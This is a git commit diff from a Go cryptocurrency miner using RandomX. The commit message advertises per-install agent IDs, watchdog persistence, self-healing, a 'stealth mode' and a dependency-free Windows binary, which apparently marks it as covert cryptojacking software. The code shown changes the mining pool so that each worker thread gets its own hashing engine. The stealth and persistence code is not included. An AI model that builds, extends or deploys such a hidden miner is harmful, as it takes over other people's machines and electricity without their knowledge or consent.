Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
drjones
2026-05-26 23:46:46 -07:00
parent 1313c553e7
commit 4341121652
19 changed files with 434 additions and 43 deletions

View File

@@ -19,7 +19,7 @@ type Pool struct {
threads int
cfg config.RuntimeConfig
reporter *stats.Reporter
engine *Engine
engines []*Engine
handler ShareHandler
schedule *ScheduleGuard
@@ -37,11 +37,15 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
if threads <= 0 {
threads = 1
}
engines := make([]*Engine, threads)
for i := range engines {
engines[i] = NewEngine()
}
return &Pool{
threads: threads,
cfg: cfg,
reporter: reporter,
engine: NewEngine(),
engines: engines,
handler: handler,
schedule: NewScheduleGuard(cfg, reporter),
stopCh: make(chan struct{}),
@@ -59,15 +63,17 @@ func (p *Pool) SetJob(job *job.Job) {
if seed == "" && len(job.Blob) >= 64 {
seed = job.Blob[:64]
}
if err := p.engine.SetJob(seed, job.Blob); err != nil {
log.Printf("[miner] failed to set job: %v", err)
for _, engine := range p.engines {
if err := engine.SetJob(seed, job.Blob); err != nil {
log.Printf("[miner] failed to set job: %v", err)
}
}
}
func (p *Pool) Start() {
for i := 0; i < p.threads; i++ {
p.wg.Add(1)
go p.worker(i)
go p.worker(i, p.engines[i])
}
go p.resourceGuard()
}
@@ -123,7 +129,7 @@ func (p *Pool) resourcesOK() bool {
return true
}
func (p *Pool) worker(id int) {
func (p *Pool) worker(id int, engine *Engine) {
defer p.wg.Done()
var nonce uint32 = uint32(id * 1000000)
@@ -158,7 +164,7 @@ func (p *Pool) worker(id int) {
break
}
hashHex, _, err := p.engine.HashAtNonce(nonce)
hashHex, _, err := engine.HashAtNonce(nonce)
if err != nil {
log.Printf("[miner] hash error: %v", err)
break